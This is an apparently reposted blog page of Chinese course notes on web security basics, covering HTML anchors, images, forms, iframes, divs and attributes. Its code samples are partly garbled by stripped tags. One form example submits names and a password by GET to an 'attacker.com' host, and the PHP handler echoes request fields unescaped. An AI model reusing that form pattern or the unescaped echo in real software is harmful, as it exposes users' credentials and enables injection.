Web信息安全实践_2.1 HTML_2.2HTML重要元素

2021-04-24 08:29

阅读:417

标签:color   class   action   设置   radio   ips   创建   round   ngx   

HTML(Hypertext Markup Language):指定网页静态内容的语言
  • Hypertext:文本、多媒体、链接...
  • Markup:可以用来标识文档结构和内容类型的特殊符号,即标签

2.2HTML重要元素

标签

Anchors

  •  使用标签 来设置,可以链接到网络上的任意文件
  •  href 属性来描述链接的地址, name :锚名称

 图片 

  • 图片的属性
    • 图像由 标签定义,没有闭合标签
  • 源属性 src 的值是 URL 地址,存储图像的位置。

  

 
 表单

  • 用于为用户输入创建表单
    • action :指定将表单数据发送到何处
    • method :指定提交方法
    • 包含 input 元素,如文本字段、复选框、单选框、提交按钮
    • 包含 textarea 、 fieldset 、 legend 和 label 元素

"get" action="http://www.attacker.com/welcome.php"> First name: "text" name="firstname">
Last name: "text" name="lastname">
Password: "password" name="pwd">
"radio" name="sex" value="male">Male
"radio" name="sex" value="female">Female
"checkbox" name="vehicle" value="Bike">I have a bike
"checkbox" name="vehicle" value="Car">I have a car
"submit" value="Submit">

Welcome php echo $_REQUEST[firstname],‘‘,$_REQUEST[lastname],!; ?>

 

iframe

  • 通过使用 iframe ,可以在同一个浏览器窗口中显示不止一个页面。
  • iframe 语法
    • height 和 width 属性用来定义 iframe 标签的高度与宽度 , 单位可以是属性或比例

 

Div

  •  
    元素用于文档布局
  • div+css取代了使用表格定义布局

News

Budget

Investment

 

  • 把一些元素划分为一个块(一个整体)处理,本身不承载内容

id = div-before

id = div-1

id = div-1a

Lorem ipsum dolor sit amet.

id = div-1b

Lorem ipsum dolor sit amet.

id = div-after


?
"div-before">

id = div-before

"div-1">
"div-1-padding">

id = div-1

"div-1a">

id = div-1a

Lorem ipsum dolor sit amet.

"div-1b">

id = div-1b

Lorem ipsum dolor sit amet .

?
"div-after">

id = div-after

 

属性

  • 属性在起始标签中使用
  • 属性有三种类型
    • 可选的属性:特定标签才有的属性
    • 标准属性:所有标签都有: id, class, title, style, dir, lang
    • 事件属性: onclick,ondblclick,onmousedown,onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup

"color:red; "onclick="alert(‘hello‘);">Hello,world!

 

Web信息安全实践_2.1 HTML_2.2HTML重要元素

标签:color   class   action   设置   radio   ips   创建   round   ngx   

原文地址:https://www.cnblogs.com/tianjiazhen/p/12235532.html


评论


亲,登录后才可以留言!

推荐文章

最新文章

置顶文章